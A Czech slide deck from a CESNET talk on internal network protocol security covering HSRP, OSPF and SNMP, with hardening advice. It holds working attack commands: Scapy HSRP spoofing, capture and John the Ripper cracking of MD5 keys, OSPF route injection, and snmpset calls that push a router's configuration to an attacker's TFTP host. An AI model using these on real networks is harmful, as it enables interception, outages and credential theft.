Zabezpečení síťových protokolů Michal Kostěnec CESNET, z. s. p. o. 9. 5. 2015 1
Obsah Úvod Význam bezpečnosti uvnitř sítě Vnitřní vs vnější Zabezpečení protokolů uvnitř sítě Krátce teorie o funkci protokolu Dostupné druhy zabezpečení Popis útoku HSRP, OSPF a SNMP Zajímavost z praxe v 2014 9. 5. 2015 2
Bezpečnost uvnitř sítě Složitější ochrana než před útoky z Internetu Povaha útoků se může lišit Přibývá L2 komunikace Různé kategorie sítě Klientské (portsecurity, DHCP snooping, DAI, IPSG, storm-control) Serverové (FW, FHRP, mgmt rozhraní) Neočekávané (nepříjemné) vlastnosti OS Síťových prvků 9. 5. 2015 3
HSRP Rodina protokolů FHRP HSRP (Cisco proprietární), VRRP, GLBP Poskytují redundanci pro next-hop (def. gw) Aktivní sledování stavu HSRP routeru Pravidelné HELLO zprávy Hello 3s Hold-time 10s V případě výpadku další router s nejvyšší prioritou převezme roli gw Virtuální IP a MAC 9. 5. 2015 4
HSRP fáze 9. 5. 2015 5
Použití HSRP Nejčastěji v serverové podsíti Zajištění max redundance GW Bezvýpadková změna aktivního směrovače Podpora 2+ participujících směrovačů Možnost load-balancingu Méně časté v klientské síti Sítě s vysokou prioritou Spojení 2 active/active párů 9. 5. 2015 6 FW + směrovač
Naše síť s HSRP 9. 5. 2015 7
HSRP & Cisco 9. 5. 2015 8
HSRP zprávy 9. 5. 2015 9
Druhy autentizace HSRP Bez autentizace Výchozí stav Autentizační řetězec cisco (viz hello paket) Plaintext autentizace Vlastně žádná změna Není autentizace, pouze jako ochrana při chybné konfiguraci MD5 autentizace Vytváří se HMAC zprávy Integrita obsahu a autenticita odesílatele 9. 5. 2015 10
Útok na HSRP 9. 5. 2015 11
Útok na HSRP Vysíláme pravidelně pakety s parametry pro získání pozice aktivního směrovače Cíl je vyhrazená multicastová skupina Priorita 0-255, čili 255;-) Potenciálně vyšší IP než jsou pravé směrovače MITM nebo DoS Jaký je rozdíl mezi (na co si dávat pozor) Fyzicky v lokální síti Vzdáleně na kompromitovaném stroji 9. 5. 2015 12
Útok prakticky Scapy Generování, dekódování a manipulace s pakety ip = IP(src='10.10.10.101', dst='224.0.0.2') udp = UDP() hsrp = HSRP(group=10, priority=255, virtualip='10.10.10.1', auth='vlan10!') send(ip/udp/hsrp, iface='eth0', inter=3, loop=1) >>> ip/udp/hsrp <IP frag=0 proto=udp src=10.10.10.101 dst=224.0.0.2 <UDP sport=1985 dport=1985 <HSRP priority=255 group=10 auth='vlan10!' virtualip=10.10.10.1 >>> 9. 5. 2015 13
Co budeme dělat s MD5? Útok identický, jen potřebujeme klíč Online Bruteforce Offline bruteforce Nahrání komunikace na lokální síti tcpdump -i eth0 -n dst host 224.0.0.2 -s0 -w /tmp/hsrp.pcap Vyparsování dat pro offline bruteforcing (MagnumRipper) pcap2john.py hsrp.pcap > hsrp.john Bruteforcing (JtR) john hsrp.john 9. 5. 2015 14
HSRP summary Používat MD5 autentizaci Používat dostatečne silný(dlouhý) klíč Případně použít ACL Pouze vyjmenované HSRP směrovače ip access-list extended ACL_HSRP_ROUTER permit udp host 10.10.10.3 eq 1985 any eq 1985 deny udp any eq 1985 any eq 1985 log permit ip any any 9. 5. 2015 15
OSPFv2 (dále OSPF) Open Shortest Path First Nejpoužívanější dynamický směrovací protokol Hierarchické dělení sítě Oblasti (informace se vyměňují uvnitř oblasti, tzv. area) Hraniční směrovače pro výměnu zpráv mezi oblastmi Hello zprávy v krátkém intervalu (rychlá konvergence) Dijkstrův algoritmus (rychlost linky) Loadbalancing (cesty se stejnou cenou ) Autentizace 9. 5. 2015 16
Druhy autentizace Shodné jako u HSRP Jen se nedělá HMAC, ale pouze MD5 klíče Draft na SHA256 HMAC Bez autentizace Výchozí stav Plaintext autentizace Vlastně žádná změna Není autentizace, pouze jako ochrana při chybné konfiguraci MD5 autentizace 9. 5. 2015 17
(NE)Použití OSPF Pro páteřní sítě s rychlou konvergencí Řádově jednotky sekund dle nastavení Robustní díky hierarchii Náročnější na CPU Klientské sítě Není důvod, spíše chyba v konfiguraci Serverové sítě Virtuální směrovače (CSR 1000V) Anycast DNS,... 9. 5. 2015 18
Naše síť s OSPF 9. 5. 2015 19
OSPF podmínky sousedství Musí se shodovat Síť a maska na lince Oblast (Area) + její typ Hello + Dead časy MTU (kontrolu lze vypnout) Autentizace Nesmí se shodovat Router-id (označení směrovače) 9. 5. 2015 20
Route injection Navázání sousedsví Problém při autentizaci MITM nebo DoS Injektování routy Lokální síť (příliš složité) PROČ? Vzdálená síť/ip Např. 8.8.8.8 Quagga Int Lo1 Ip address 8.8.8.8 255.255.255.255 Router ospf 1 Network 8.8.8.8 0.0.0.0 area 0 9. 5. 2015 21
Kde zjistíme potřebné parametry 9. 5. 2015 22
Ilustrace útoku na OSPF 9. 5. 2015 23
Útok na OSPF prakticky Uvažujme kompromitaci serveru Do sítě jsou posílány HELLO zprávy pro DNS Anycast server Zjistíme potřebné parametry pro sousedství Wireshark, tcpdump, tshark, Navážeme sousedství Injektujeme routu 0.0.0.0/0 je riskantní Nejlépe /32 Při použité autentizaci Získání dat a bruteforce 9. 5. 2015 24
OSPF hello s autentizací 9. 5. 2015 25
OSPF s MD5 autentizací Postup téměř identický jako u HSRP Nahrání komunikace na lokální síti tcpdump -i eth0 -n dst host 224.0.0.5 -s0 -w /tmp/ospf.pcap Vyparsování dat pro offline bruteforcing (ettercap > v0.8.1) ettercap -Tqr ospf.pcap > ospf.john Bruteforcing (JtR) john ospf.john 9. 5. 2015 26
OSPF summary Používat MD5 autentizaci Používat dostatečne silný(dlouhý) klíč Passive-interface default No passive-interface Vlan10 Sousedé explicitně přes unicast Filtrování přijímaných prefixů ip prefix-list DNS_ANYCAST_IN seq 5 permit 10.3.3.3/32 router ospf 1 distribute-list prefix DNS_ANYCAST_IN in Vlan10 9. 5. 2015 27
SNMP Simple Network Management Protocol Základní protokol pro dohled/správu sítě Základní pojmy Manager (Server) GET/SET požadavky (RO vs RW community) Agent (SW na zařízení) Community GET/SET odpovědi TRAPy (nevyžádané SNMP zprávy) Lze chápat jako heslo (pouze v1 - v2c) Hierarchický jménný systém OID 9. 5. 2015 28 Pro snadnější práci MIB tabulky
MIB tabulka 9. 5. 2015 29
SNMP II. Verze 1 původní verze Nepodporuje 64bit čítače Verze 2c Verze 3 Nové metody pro čtení dat Autentizace jen dle community Nejpoužívanější v součastnosti Autentizace a šifrování 9. 5. 2015 30
Cisco konfigurace SNMP snmp-server community $emestralk4. RO snmp-server community read.write!c0mmunity RW snmp-server trap-source Loopback0 snmp-server location NTK, Velky sal - XX,XX420 snmp-server contact Michal Kostenec, kostenec@test.lab, +420 111 222 333 snmp-server host 10.50.10.3 webtrap snmp-server enable traps cpu threshold 9. 5. 2015 31
Průzkum prostředí při RO Hledání zranitelností Neoprávněný přístup Eskalace práv DoS iso.3.6.1.2.1.1.1.0 = STRING: "Cisco IOS Software, C3900 Software (C3900-UNIVERSALK9-M), 15.2(4)M5, RELEASE SOFTWARE (fc2) CVE-2014-3359 An attacker could exploit this vulnerability by sending malformed DHCPv6 packets to be processed by an affected device. An exploit could allow the attacker to cause a memory leak and eventual reload of an affected device. 9. 5. 2015 32
Průzkum prostředí při RO Zjišťování topologie sítě Popis portů Vlany Připojená zařízení iso.3.6.1.2.1.31.1.1.1.18.10008 = STRING: "SWT Testovaci podsit iso.3.6.1.2.1.31.1.1.1.1.10008 = STRING: "Fa0/8" iso.3.6.1.4.1.9.9.68.1.2.2.1.2.10008 = INTEGER: 10 iso.3.6.1.2.1.17.1.4.1.2.9 = INTEGER: 10008 iso.1.3.6.1.2.1.17.4.3.1.2.0.0.12.7.172.8 = 9 iso.3.6.1.2.1.17.4.3.1.1.0.0.12.7.172.8 = Hex-STRING: 00 00 0C 07 AC 08 iso.3.6.1.2.1.4.22.1.2.430.10.10.101.10 = Hex-STRING: 00 00 0C 07 AC 08 9. 5. 2015 33
Zajímavosti při RW community Možnost nastavení položky s možností zápisu Stažení konfigurace :-) Hesla, sdílená tajemství, další zajímavá konfigurace snmpset -c community -v 2c 10.10.10.2 1.3.6.1.4.1.9.9.96.1.1.1.1.2.336 i 1 (tftp) snmpset -c community -v 2c 10.10.10.2 1.3.6.1.4.1.9.9.96.1.1.1.1.3.336 i 4 (runningconfig) snmpset -c community -v 2c 10.10.10.2 1.3.6.1.4.1.9.9.96.1.1.1.1.4.336 i 1 (networkfile) snmpset -c community -v 2c 10.10.10.2 1.3.6.1.4.1.9.9.96.1.1.1.1.5.336 a 10.10.10.101 (dstip) snmpset -c community -v 2c 10.10.10.2 1.3.6.1.4.1.9.9.96.1.1.1.1.6.336 s R1-config.conf (filename) snmpset -c community -v 2c 10.10.10.2 1.3.6.1.4.1.9.9.96.1.1.1.1.14.336 i 1 (active) 9. 5. 2015 34
Stažená konfigurace enable secret 4 xpc5koyezrbdek6ef24rmwy.i8z87nnt7ervl7dxbh. username admin privilege 15 secret 5 $1$lVFH$x7vloxy4oaT9jvrNt0jGn/ aaa group server tacacs+ tac_admin server 10.100.1.20 server 10.200.1.20 tacacs-server key 7 25010A3C560F3C067C1C16174115 archive path tftp://10.100.1.13/backup/sw101-config line con 0 password 7 06025C2B41171D49 line vty 0 4 access-class management-access-v4 in password 0 SuperTajneHeslo.908 ip access-list standard management-access-v4 permit 10.99.1.0 0.0.0.255 permit 10.100.1.0 0.0.0.255 9. 5. 2015 35
Summary SNMP Nejvhodnější je v3 (autentizace, šifrování) Používá se spíše v2 Community, které nelze uhádnout hrubou silou Nepoužívat RW community, pokud není nutné Omezit přístup na vyjmenované IP rozsahy ip access-list standard management-access-v4 permit 10.99.1.0 0.0.0.255 deny any log snmp-server community $emestralk4. RO management-access-v4 9. 5. 2015 36
Praxe 2014: Duplicitní IP Tiskárna a posléze WIN hlásí duplicitní IP Řízený přístup k síti Pouze registrovaná zařízení (DHCP) DHCP snooping, DAI, IPSG Problém na různých VLANách 9. 5. 2015 37
Praxe 2014: Duplicitní IP Nová úžasná funkce Použití IP Device Tracking (IPDT) The main IPDT task is to keep track of connected hosts (association of MAC and IP address). In order to do this, it sends unicast Address Resolution Protocol (ARP) probes with a default interval of 30 seconds Web-based authentication Auth-proxy Flexible netflow Cisco TrustSec (CTS) 9. 5. 2015 38...
Praxe 2014: Duplicitní IP show ip device tracking all IP Device Tracking = Enabled IP Device Tracking Probe Count = 3 IP Device Tracking Probe Interval = 30 IP Device Tracking Probe Delay Interval = 0 ------------------------------------------------------------ IP Address MAC Address Vlan Interface STATE ------------------------------------------------------------ 10.10.0.20 a820.661b.b384 10 GigabitEthernet0/1 INACTIVE 9. 5. 2015 39
Dotazy??? 9. 5. 2015 40